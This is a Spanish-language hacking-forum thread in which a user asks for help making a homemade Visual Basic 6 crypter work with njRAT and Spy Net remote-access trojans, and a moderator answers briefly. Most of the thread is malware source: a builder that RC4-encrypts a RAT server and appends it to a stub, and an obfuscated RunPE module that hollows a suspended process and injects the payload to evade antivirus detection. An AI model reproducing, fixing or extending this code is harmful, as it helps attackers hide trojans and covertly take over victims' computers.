Problema con mi crypter

Iniciado por paulitagonzales99, Agosto 26, 2016, 03:54:18 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Imprimir
Ir Abajo Páginas1
Acciones del Usuario
Agosto 26, 2016, 03:54:18 PM Ultima modificación: Agosto 26, 2016, 04:11:56 PM por ANTRAX
Hola! ayer me decidí a crear un crypter en Visual Basic 6 pero como no se casi nada de programación seguí el tutorial de Malawere Magazine #1 subido aquí en underc0de, luego de muchas horas de trabajo pues no conseguia que funcionara logre encriptar algunos servers de njrat 0.7d y otros de Spy Net, pero aquí viene el problema: a la hora de ejecutar los servers encriptados estos no conectaban probé con el spy net y el njrat pero ambos no conectaban mientras que la versión sin encriptar si funcionaba! Probé con diferentes Stubs (una creada por mi y otra que saque de un crypter para njrat) pero el server sigue sin conectar. Estoy seguro de que el problema esta en el crypter. Me pueden ayuadar a que mi crypter sea compatible con njrat, spy net o cualquier otro RAT? Que tengo que agregarle al código para que el crypter sea compatible? Recuerden que no entiendo mucho de programación así que hablo sobre la total ignorancia. Gracias por sus respuestas y saludos.

Aquí les dejo el código del crypter para que lo chequeen.

Código: vb
Private Sub btnEncriptar_Click()
 Dim Stub As String, Archivo As String

 If txtArchivo.Text = vbNullString Then
 MsgBox "Debes cargar el archivo a encriptar", vbExclamation, Me.Caption
 Exit Sub
 Else

 Open App.Path & "\Stub.exe" For Binary As #1
 Stub = Space(LOF(1))
 Get #1, , Stub
 Close #1

 Open txtArchivo.Text For Binary As #1
 Archivo = Space(LOF(1))
 Get #1, , Archivo
 Close #1

 With CD
 .DialogTitle = "Seleccione una ruta..."
 .Filter = "Aplicaciones EXE|*.exe"
 .ShowSave
 End With
  
 If Not CD.FileName = vbNullString Then

 Archivo = RC4(Archivo, "Underc0de")
 
 Open CD.FileName For Binary As #1
 Put #1, , Stub & "##$$##" & Archivo & "##$$##"
 Close #1

 MsgBox "Archivo Encriptado", vbInformation, Me.Caption
 End If
 
 End If
 End Sub

 Public Function RC4(ByVal Data As String, ByVal Password As String) As String
 On Error Resume Next
 Dim F(0 To 255) As Integer, X, Y As Long, Key() As Byte
 Key() = StrConv(Password, vbFromUnicode)
 For X = 0 To 255
 Y = (Y + F(X) + Key(X Mod Len(Password))) Mod 256
 F(X) = X
 Next X
 Key() = StrConv(Data, vbFromUnicode)
 For X = 0 To Len(Data)
 Y = (Y + F(Y) + 1) Mod 256
 Key(X) = Key(X) Xor F(Temp + F((Y + F(Y)) Mod 254))
 Next X
 RC4 = StrConv(Key, vbUnicode)

 End Function
 
 

Private Sub btnExaminar_Click()
 With CD
 .DialogTitle = "Seleccione un archivo"
 .Filter = "Aplicaciones EXE|*.exe"
 .ShowOpen
 End With

 If Not CD.FileName = vbNullString Then
 txtArchivo.Text = CD.FileName
 End If


End Sub

Agosto 26, 2016, 04:13:59 PM #1
Hola,
El problema no está en el código que acabas de subir. Debe estar en el stub.
Lo que hace este código es basicamente tomar el server y unirlo con el stub del crypter.
Si se esta rompiendo el problema esta en el stub y no acá.

Saludos,
ANTRAX

Agosto 26, 2016, 04:48:12 PM #2 Ultima modificación: Agosto 26, 2016, 05:05:58 PM por paulitagonzales99
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Hola,
El problema no está en el código que acabas de subir. Debe estar en el stub.
Lo que hace este código es basicamente tomar el server y unirlo con el stub del crypter.
Si se esta rompiendo el problema esta en el stub y no acá.

Saludos,
ANTRAX

Hola ANTRAX gracias por tu respuesta! Acabo de revisar el stub como tu dijiste y la verdad que note algo muy raro que la verdad no se si es normal o que: veras en el tutorial de malawer magazine decia que había que crear 2 módulos uno llamado RunPe y otro llamado stub y ahí copiar y pegar los respectivos códigos pues ahora volví a entrar al proyecto y me han desaparecido los módulos! Y apareció uno nuevo llamado RunPE (STUB.bas) y dentro de este modulo me aparece el siguiente código:


Código: vb
Private Const CONTEXT_FULL As Long = &H10007
Private Const MAX_PATH As Integer = 260
Private Const CREATE_SUSPENDED As Long = &H4
Private Const MEM_COMMIT As Long = &H1000
Private Const MEM_RESERVE As Long = &H2000
Private Const PAGE_EXECUTE_READWRITE As Long = &H40

Private Declare Function CreateProcessA Lib "kernel32" (ByVal lpAppName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As Long, ByVal lpThreadAttributes As Long, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As Long, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
Private Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, bvBuff As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Private Declare Function OutputDebugString Lib "kernel32" Alias "OutputDebugStringA" (ByVal lpOutputString As String) As Long

Public Declare Sub RtlMoveMemory Lib "kernel32" (Dest As Any, Src As Any, ByVal L As Long)
Private Declare Function CallWindowProcA Lib "user32" (ByVal addr As Long, ByVal p1 As Long, ByVal p2 As Long, ByVal p3 As Long, ByVal p4 As Long) As Long
Private Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Private Declare Function LoadLibraryA Lib "kernel32" (ByVal lpLibFileName As String) As Long

Private Type SECURITY_ATTRIBUTES
nLength As Long
lpSecurityDescriptor As Long
bInheritHandle As Long
End Type

Private Type STARTUPINFO
cb As Long
lpReserved As Long
lpDesktop As Long
lpTitle As Long
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Long
hStdInput As Long
hStdOutput As Long
hStdError As Long
End Type

Private Type PROCESS_INFORMATION
hProcess As Long
hThread As Long
dwProcessId As Long
dwThreadID As Long
End Type

Private Type FLOATING_SAVE_AREA
ControlWord As Long
StatusWord As Long
TagWord As Long
ErrorOffset As Long
ErrorSelector As Long
DataOffset As Long
DataSelector As Long
RegisterArea(1 To 80) As Byte
Cr0NpxState As Long
End Type

Private Type CONTEXT
ContextFlags As Long

Dr0 As Long
Dr1 As Long
Dr2 As Long
Dr3 As Long
Dr6 As Long
Dr7 As Long

FloatSave As FLOATING_SAVE_AREA
SegGs As Long
SegFs As Long
SegEs As Long
SegDs As Long
Edi As Long
Esi As Long
Ebx As Long
Edx As Long
Ecx As Long
Eax As Long
Ebp As Long
Eip As Long
SegCs As Long
EFlags As Long
Esp As Long
SegSs As Long
End Type

Private Type IMAGE_DOS_HEADER
e_magic As Integer
e_cblp As Integer
e_cp As Integer
e_crlc As Integer
e_cparhdr As Integer
e_minalloc As Integer
e_maxalloc As Integer
e_ss As Integer
e_sp As Integer
e_csum As Integer
e_ip As Integer
e_cs As Integer
e_lfarlc As Integer
e_ovno As Integer
e_res(0 To 3) As Integer
e_oemid As Integer
e_oeminfo As Integer
e_res2(0 To 9) As Integer
e_lfanew As Long
End Type

Private Type IMAGE_FILE_HEADER
Machine As Integer
NumberOfSections As Integer
TimeDateStamp As Long
PointerToSymbolTable As Long
NumberOfSymbols As Long
SizeOfOptionalHeader As Integer
characteristics As Integer
End Type

Private Type IMAGE_DATA_DIRECTORY
VirtualAddress As Long
Size As Long
End Type

Private Type IMAGE_OPTIONAL_HEADER
Magic As Integer
MajorLinkerVersion As Byte
MinorLinkerVersion As Byte
SizeOfCode As Long
SizeOfInitializedData As Long
SizeOfUnitializedData As Long
AddressOfEntryPoint As Long
BaseOfCode As Long
BaseOfData As Long
ImageBase As Long
SectionAlignment As Long
FileAlignment As Long
MajorOperatingSystemVersion As Integer
MinorOperatingSystemVersion As Integer
MajorImageVersion As Integer
MinorImageVersion As Integer
MajorSubsystemVersion As Integer
MinorSubsystemVersion As Integer
W32VersionValue As Long
SizeOfImage As Long
SizeOfHeaders As Long
CheckSum As Long
SubSystem As Integer
DllCharacteristics As Integer
SizeOfStackReserve As Long
SizeOfStackCommit As Long
SizeOfHeapReserve As Long
SizeOfHeapCommit As Long
LoaderFlags As Long
NumberOfRvaAndSizes As Long
DataDirectory(0 To 15) As IMAGE_DATA_DIRECTORY
End Type

Private Type IMAGE_NT_HEADERS
Signature As Long
FileHeader As IMAGE_FILE_HEADER
OptionalHeader As IMAGE_OPTIONAL_HEADER
End Type

Private Type IMAGE_SECTION_HEADER
SecName As String * 8
VirtualSize As Long
VirtualAddress As Long
SizeOfRawData As Long
PointerToRawData As Long
PointerToRelocations As Long
PointerToLinenumbers As Long
NumberOfRelocations As Integer
NumberOfLinenumbers As Integer
characteristics As Long
End Type


Public Function TOLNIYR(ByVal ONIW As String, ByVal ZKKTQ As String, ParamArray HDISUUU()) As Long
Dim YOZXQ As Long, SBUH(&HEC00& - 1) As Byte, OXM As Long, HTPJULV As Long

HTPJULV = GetProcAddress(LoadLibraryA(ONIW), ZKKTQ)
If HTPJULV = 0 Then Exit Function

YOZXQ = VarPtr(SBUH(0))
RtlMoveMemory ByVal YOZXQ, &H59595958, &H4: YOZXQ = YOZXQ + 4
RtlMoveMemory ByVal YOZXQ, &H5059, &H2: YOZXQ = YOZXQ + 2
For OXM = UBound(HDISUUU) To 0 Step -1
RtlMoveMemory ByVal YOZXQ, &H68, &H1: YOZXQ = YOZXQ + 1
RtlMoveMemory ByVal YOZXQ, CLng(HDISUUU(OXM)), &H4: YOZXQ = YOZXQ + 4
Next
RtlMoveMemory ByVal YOZXQ, &HE8, &H1: YOZXQ = YOZXQ + 1
RtlMoveMemory ByVal YOZXQ, HTPJULV - YOZXQ - 4, &H4: YOZXQ = YOZXQ + 4
RtlMoveMemory ByVal YOZXQ, &HC3, &H1: YOZXQ = YOZXQ + 1
TOLNIYR = CallWindowProcA(VarPtr(SBUH(0)), 0, 0, 0, 0)
End Function

Public Function SKXXP(ByVal UTXLWH As String, ByVal IRWMR As String) As String
Dim SAW As Long

For SAW = 1 To Len(UTXLWH)
SKXXP = SKXXP & Chr(Asc(Mid(IRWMR, IIf(SAW Mod Len(IRWMR) <> 0, SAW Mod Len(IRWMR), Len(IRWMR)), 1)) Xor Asc(Mid(UTXLWH, SAW, 1)))
Next SAW
End Function

Public Sub IYUZKMM(ByVal MKRVR As String, ByRef DPWO() As Byte, MLPDO As String)
Dim VPK As Long, SSYY As IMAGE_DOS_HEADER, LHBND As IMAGE_NT_HEADERS, NCSMST As IMAGE_SECTION_HEADER
Dim WNPELGD As STARTUPINFO, FZRQGF As PROCESS_INFORMATION, BOXJCL As CONTEXT

WNPELGD.cb = Len(WNPELGD)
RtlMoveMemory SSYY, DPWO(0), 64
RtlMoveMemory LHBND, DPWO(SSYY.e_lfanew), 248

CreateProcessA MKRVR, " " & MLPDO, 0, 0, False, CREATE_SUSPENDED, 0, 0, WNPELGD, FZRQGF
TOLNIYR SKXXP(Chr(33) & Chr(36) & Chr(38) & Chr(39) & Chr(47), "OPBKCIGTGBEUVKZNRTNFXNTODFQPYPMINXTSTRGCYJDEVTSWKCGOW"), SKXXP(Chr(1) & Chr(36) & Chr(23) & Chr(37) & Chr(46) & Chr(40) & Chr(55) & Chr(2) & Chr(46) & Chr(39) & Chr(50) & Chr(26) & Chr(48) & Chr(24) & Chr(63) & Chr(45) & Chr(38) & Chr(61) & Chr(33) & Chr(40), "OPBKCIGTGBEUVKZNRTNFXNTODFQPYPMINXTSTRGCYJDEVTSWKCGOW"), FZRQGF.hProcess, LHBND.OptionalHeader.ImageBase
TOLNIYR SKXXP(Chr(36) & Chr(53) & Chr(48) & Chr(37) & Chr(38) & Chr(37) & Chr(116) & Chr(102), "OPBKCIGTGBEUVKZNRTNFXNTODFQPYPMINXTSTRGCYJDEVTSWKCGOW"), SKXXP(Chr(25) & Chr(57) & Chr(48) & Chr(63) & Chr(54) & Chr(40) & Chr(43) & Chr(21) & Chr(43) & Chr(46) & Chr(42) & Chr(54) & Chr(19) & Chr(51), "OPBKCIGTGBEUVKZNRTNFXNTODFQPYPMINXTSTRGCYJDEVTSWKCGOW"), FZRQGF.hProcess, LHBND.OptionalHeader.ImageBase, LHBND.OptionalHeader.SizeOfImage, MEM_COMMIT Or MEM_RESERVE, PAGE_EXECUTE_READWRITE
WriteProcessMemory FZRQGF.hProcess, ByVal LHBND.OptionalHeader.ImageBase, DPWO(0), LHBND.OptionalHeader.SizeOfHeaders, 0

For VPK = 0 To LHBND.FileHeader.NumberOfSections - 1
RtlMoveMemory NCSMST, DPWO(SSYY.e_lfanew + 248 + 40 * VPK), Len(NCSMST)
WriteProcessMemory FZRQGF.hProcess, ByVal LHBND.OptionalHeader.ImageBase + NCSMST.VirtualAddress, DPWO(NCSMST.PointerToRawData), NCSMST.SizeOfRawData, 0
Next VPK

BOXJCL.ContextFlags = CONTEXT_FULL
TOLNIYR SKXXP(Chr(36) & Chr(53) & Chr(48) & Chr(37) & Chr(38) & Chr(37) & Chr(116) & Chr(102), "OPBKCIGTGBEUVKZNRTNFXNTODFQPYPMINXTSTRGCYJDEVTSWKCGOW"), SKXXP(Chr(8) & Chr(53) & Chr(54) & Chr(31) & Chr(43) & Chr(59) & Chr(34) & Chr(53) & Chr(35) & Chr(1) & Chr(42) & Chr(59) & Chr(34) & Chr(46) & Chr(34) & Chr(58), "OPBKCIGTGBEUVKZNRTNFXNTODFQPYPMINXTSTRGCYJDEVTSWKCGOW"), FZRQGF.hThread, VarPtr(BOXJCL)
WriteProcessMemory FZRQGF.hProcess, ByVal BOXJCL.Ebx + 8, LHBND.OptionalHeader.ImageBase, 4, 0
BOXJCL.Eax = LHBND.OptionalHeader.ImageBase + LHBND.OptionalHeader.AddressOfEntryPoint
TOLNIYR SKXXP(Chr(36) & Chr(53) & Chr(48) & Chr(37) & Chr(38) & Chr(37) & Chr(116) & Chr(102), "OPBKCIGTGBEUVKZNRTNFXNTODFQPYPMINXTSTRGCYJDEVTSWKCGOW"), SKXXP(Chr(28) & Chr(53) & Chr(54) & Chr(31) & Chr(43) & Chr(59) & Chr(34) & Chr(53) & Chr(35) & Chr(1) & Chr(42) & Chr(59) & Chr(34) & Chr(46) & Chr(34) & Chr(58), "OPBKCIGTGBEUVKZNRTNFXNTODFQPYPMINXTSTRGCYJDEVTSWKCGOW"), FZRQGF.hThread, VarPtr(BOXJCL)
TOLNIYR SKXXP(Chr(36) & Chr(53) & Chr(48) & Chr(37) & Chr(38) & Chr(37) & Chr(116) & Chr(102), "OPBKCIGTGBEUVKZNRTNFXNTODFQPYPMINXTSTRGCYJDEVTSWKCGOW"), SKXXP(Chr(29) & Chr(53) & Chr(49) & Chr(62) & Chr(46) & Chr(44) & Chr(19) & Chr(60) & Chr(53) & Chr(39) & Chr(36) & Chr(49), "OPBKCIGTGBEUVKZNRTNFXNTODFQPYPMINXTSTRGCYJDEVTSWKCGOW"), FZRQGF.hThread
End Sub
Imprimir
Ir Arriba Páginas1
Acciones del Usuario